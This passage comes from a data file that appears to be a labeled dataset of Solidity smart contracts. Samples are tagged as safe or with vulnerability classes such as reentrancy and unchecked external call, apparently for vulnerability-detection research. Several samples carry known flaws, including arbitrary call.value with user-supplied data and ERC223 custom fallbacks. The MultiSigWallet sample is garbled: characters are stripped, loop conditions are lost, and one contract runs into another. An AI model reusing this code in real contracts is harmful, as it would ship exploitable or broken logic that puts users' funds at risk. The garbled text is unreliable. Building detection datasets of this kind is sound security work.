methods. Transfer tokens to a specified * @dev address and execute a call with the sent data on the same transaction * * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) { require(_to != address(this)); super.transfer(_to, _value); // solium-disable-next-line security/no-call-value require(_to.call.value(msg.value)(_data)); return true; } /** * @dev Addition to ERC20 token methods. Transfer tokens from one address to * @dev another and make a contract call on the same transaction * * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value The amout of tokens to be transferred * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function transferFromAndCall( address _from, address _to, uint256 _value, bytes _data ) public payable returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); // solium-disable-next-line security/no-call-value require(_to.call.value(msg.value)(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * @dev an owner allowed to a spender and execute a call with the sent data. * * @dev approve should be called when allowed[_spender] == 0. To increment * @dev allowed value is better to use this function to avoid 2 calls (and wait until * @dev the first transaction is mined) * @dev From MonolithDAO Token.sol * * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApprovalAndCall(address _spender, uint _addedValue, bytes _data) public payable returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * @dev an owner allowed to a spender and execute a call with the sent data. * * @dev approve should be called when allowed[_spender] == 0. To decrement * @dev allowed value is better to use this function to avoid 2 calls (and wait until * @dev the first transaction is mined) * @dev From MonolithDAO Token.sol * * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApprovalAndCall(address _spender, uint _subtractedValue, bytes _data) public payable returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title DAOToken, based on zeppelin contract. * @dev ERC20 compatible token. It is a mintable and burnable token. */ contract DAOToken is ERC827Token, MintableToken, BurnableToken { string public name; string public symbol; uint8 public constant decimals = 18; uint public cap; /** * @dev Constructor * @param _name - token name * @param _symbol - token symbol * @param _cap - token cap - 0 value means no cap */ function DAOToken(string _name, string _symbol,uint _cap) public { name = _name; symbol = _symbol; cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { if (cap > 0) require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } }",Safe,8,8 191.sol,"pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract RiesGraham is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function RiesGraham( ) { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = ""Ries&Graham Token""; decimals = 18; symbol = ""RGT""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 374.sol,"pragma solidity ^0.4.18; /* * * * ___ _ ____ ___ _ _ / __| | |_ / / __| |_ __ _(_)_ _ | (__| |__ / / | (__| ' \/ _` | | ' \ \___|____/___| \___|_||_\__,_|_|_||_| * * * */ // Contract must have an owner contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function setOwner(address _owner) onlyOwner public { owner = _owner; } } // SafeMath methods contract SafeMath { function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; assert(c >= _a); return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_a >= _b); return _a - _b; } function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a * _b; assert(_a == 0 || c / _a == _b); return c; } } // for safety methods interface ERC20Token { function transfer(address _to, uint256 _value) external returns (bool); function balanceOf(address _addr) external view returns (uint256); function decimals() external view returns (uint8); } // the main ERC20-compliant contract contract Token is SafeMath, Owned { uint256 constant DAY_IN_SECONDS = 86400; string public constant standard = ""0.66""; string public name = """"; string public symbol = """"; uint8 public decimals = 0; uint256 public totalSupply = 0; mapping (address => uint256) public balanceP; mapping (address => mapping (address => uint256)) public allowance; mapping (address => uint256[]) public lockTime; mapping (address => uint256[]) public lockValue; mapping (address => uint256) public lockNum; mapping (address => bool) public locker; uint256 public later = 0; uint256 public earlier = 0; // standard ERC20 events event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // timelock-related events event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value); event TokenUnlocked(address indexed _address, uint256 _value); // safety method-related events event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount); event WrongEtherEmptied(address indexed _addr, uint256 _amount); // constructor for the ERC20 Token constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { require(bytes(_name).length > 0 && bytes(_symbol).length > 0); name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balanceP[msg.sender] = _totalSupply; } modifier validAddress(address _address) { require(_address != 0x0); _; } // owner may add or remove a locker address for the contract function addLocker(address _address) public validAddress(_address) onlyOwner { locker[_address] = true; } function removeLocker(address _address) public validAddress(_address) onlyOwner { locker[_address] = false; } // fast-forward the timelocks for all accounts function setUnlockEarlier(uint256 _earlier) public onlyOwner { earlier = add(earlier, _earlier); } // delay the timelocks for all accounts function setUnlockLater(uint256 _later) public onlyOwner { later = add(later, _later); } // show unlocked balance of an account function balanceUnlocked(address _address) public view returns (uint256 _balance) { _balance = balanceP[_address]; uint256 i = 0; while (i < lockNum[_address]) { if (add(now, earlier) > add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]); i++; } return _balance; } // show timelocked balance of an account function balanceLocked(address _address) public view returns (uint256 _balance) { _balance = 0; uint256 i = 0; while (i < lockNum[_address]) { if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]); i++; } return _balance; } // standard ERC20 balanceOf with timelock added function balanceOf(address _address) public view returns (uint256 _balance) { _balance = balanceP[_address]; uint256 i = 0; while (i < lockNum[_address]) { _balance = add(_balance, lockValue[_address][i]); i++; } return _balance; } // show timelocks in an account function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) { uint i = 0; uint256[] memory tempLockTime = new uint256[](lockNum[_address]); while (i < lockNum[_address]) { tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier); i++; } return tempLockTime; } // show values locked in an account's timelocks function showValue(address _address) public view validAddress(_address) returns (uint256[] _value) { return lockValue[_address]; } // Calculate and process the timelock states of an account function calcUnlock(address _address) private { uint256 i = 0; uint256 j = 0; uint256[] memory currentLockTime; uint256[] memory currentLockValue; uint256[] memory newLockTime = new uint256[](lockNum[_address]); uint256[] memory newLockValue = new uint256[](lockNum[_address]); currentLockTime = lockTime[_address]; currentLockValue = lockValue[_address]; while (i < lockNum[_address]) { if (add(now, earlier) > add(currentLockTime[i], later)) { balanceP[_address] = add(balanceP[_address], currentLockValue[i]); emit TokenUnlocked(_address, currentLockValue[i]); } else { newLockTime[j] = currentLockTime[i]; newLockValue[j] = currentLockValue[i]; j++; } i++; } uint256[] memory trimLockTime = new uint256[](j); uint256[] memory trimLockValue = new uint256[](j); i = 0; while (i < j) { trimLockTime[i] = newLockTime[i]; trimLockValue[i] = newLockValue[i]; i++; } lockTime[_address] = trimLockTime; lockValue[_address] = trimLockValue; lockNum[_address] = j; } // standard ERC20 transfer function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) { if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); if (balanceP[msg.sender] >= _value && _value > 0) { balanceP[msg.sender] = sub(balanceP[msg.sender], _value); balanceP[_to] = add(balanceP[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } // transfer Token with timelocks function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) { require(_value.length == _time.length); if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); uint256 i = 0; uint256 totalValue = 0; while (i < _value.length) { totalValue = add(totalValue, _value[i]); i++; } if (balanceP[msg.sender] >= totalValue && totalValue > 0) { i = 0; while (i < _time.length) { balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]); lockTime[_to].length = lockNum[_to]+1; lockValue[_to].length = lockNum[_to]+1; lockTime[_to][lockNum[_to]] = add(now, _time[i]); lockValue[_to][lockNum[_to]] = _value[i]; // emit custom TransferLocked event emit TransferLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]); // emit standard Transfer event for wallets emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]); lockNum[_to]++; i++; } return true; } else { return false; } } // lockers set by owners may transfer Token with timelocks function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public validAddress(_from) validAddress(_to) returns (bool success) { require(locker[msg.sender]); require(_value.length == _time.length); if (lockNum[_from] > 0) calcUnlock(_from); uint256 i = 0; uint256 totalValue = 0; while (i < _value.length) { totalValue = add(totalValue, _value[i]); i++; } if (balanceP[_from] >= totalValue && totalValue > 0 && allowance[_from][msg.sender] >= totalValue) { i = 0; while (i < _time.length) { balanceP[_from] = sub(balanceP[_from], _value[i]); allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value[i]); lockTime[_to].length = lockNum[_to]+1; lockValue[_to].length = lockNum[_to]+1; lockTime[_to][lockNum[_to]] = add(now, _time[i]); lockValue[_to][lockNum[_to]] = _value[i]; // emit custom TransferLocked event emit TransferLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]); // emit standard Transfer event for wallets emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]); lockNum[_to]++; i++; } return true; } else { return false; } } // standard ERC20 transferFrom function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) { if (lockNum[_from] > 0) calcUnlock(_from); if (balanceP[_from] >= _value && _value > 0 && allowance[_from][msg.sender] >= _value) { allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value); balanceP[_from] = sub(balanceP[_from], _value); balanceP[_to] = add(balanceP[_to], _value); emit Transfer(_from, _to, _value); return true; } else { return false; } } // should only be called when first setting an allowance function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { require(allowance[msg.sender][_spender] == 0); if (lockNum[msg.sender] > 0) calcUnlock(msg.sender); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // increase or decrease allowance function increaseApproval(address _spender, uint _value) public returns (bool) { allowance[msg.sender][_spender] = add(allowance[msg.sender][_spender], _value); emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _value) public returns (bool) { if(_value > allowance[msg.sender][_spender]) { allowance[msg.sender][_spender] = 0; } else { allowance[msg.sender][_spender] = sub(allowance[msg.sender][_spender], _value); } emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } // safety methods function () public payable { revert(); } function emptyWrongToken(address _addr) onlyOwner public { ERC20Token wrongToken = ERC20Token(_addr); uint256 amount = wrongToken.balanceOf(address(this)); require(amount > 0); require(wrongToken.transfer(msg.sender, amount)); emit WrongTokenEmptied(_addr, msg.sender, amount); } // shouldn't happen, just in case function emptyWrongEther() onlyOwner public { uint256 amount = address(this).balance; require(amount > 0); msg.sender.transfer(amount); emit WrongEtherEmptied(msg.sender, amount); } }",./Dataset/ether strict equality (SE),3,3 38371.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) revert(); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } //contract for defining owener and to transfer owenership to others contract Ownable { address public owner; // contract creator will be the owner function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /* New ERC223 contract interface */ contract ERC223Interface { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value, bytes data) public returns (bool ok); function transfer(address to, uint256 value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data); } contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); function transfer(address to, uint256 value) public returns (bool ok); function transferFrom(address _from, address _to, uint256 _value) public returns(bool success); function approve(address _spender, uint256 _value) public returns(bool success); function allowance(address _owner, address _spender) public constant returns(uint256 remaining); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract StandardToken is ERC223Interface, ERC20Interface, SafeMath, ContractReceiver { mapping(address => uint) balances; mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = safeSub(balanceOf(_from), _value); balances[_to] = safeAdd(balanceOf(_to), _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // @dev function to increaseApproval to the spender function increaseApproval (address _spender, uint256 _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender],_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // @dev function to decreaseApproval to spender function decreaseApproval (address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } //@dev function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) { if (isContract(_to)) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint256 _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } // @dev contract that can burn tokens or can reduce the totalSupply tokens contract BurnableToken is StandardToken,Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public returns (bool) { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = safeSub(balances[burner], _value); totalSupply = safeSub(totalSupply, _value); emit Burn(burner, _value); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation */ contract MintableToken is BurnableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { bytes memory empty; require ( _amount > 0); // if (balanceOf(msg.sender) < _value) revert(); // if( safeAdd(circulatingCoins, _amount) > totalSupply ) revert(); totalSupply = safeAdd(totalSupply, _amount); balances[_to] = safeAdd(balances[_to], _amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount, empty); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract EMIToken is StandardToken, MintableToken { string public name = ""EMITOKEN""; string public symbol = ""EMI""; uint8 public decimals = 8; uint256 public initialSupply = 600000000 * (10 ** uint256(decimals)); function EMIToken() public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(0x0, msg.sender, initialSupply); } }",./Dataset/reentrancy (RE)/,5,5 197.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents { } contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address private otherF3D_; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x675818227377a7b1b3047105078966daf883a0ff); string constant public name = ""imfomo Long Official""; string constant public symbol = ""imfomo""; uint256 private rndExtra_ = 30; uint256 private rndGap_ = 30; uint256 constant private rndInit_ = 10 minutes; uint256 constant private rndInc_ = 60 seconds; uint256 constant private rndMax_ = 10 minutes; address constant private reward = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(31,0); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(61,0); fees_[3] = F3Ddatasets.TeamFee(46,0); potSplit_[0] = F3Ddatasets.PotSplit(15,0); potSplit_[1] = F3Ddatasets.PotSplit(15,0); potSplit_[2] = F3Ddatasets.PotSplit(30,0); potSplit_[3] = F3Ddatasets.PotSplit(30,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == 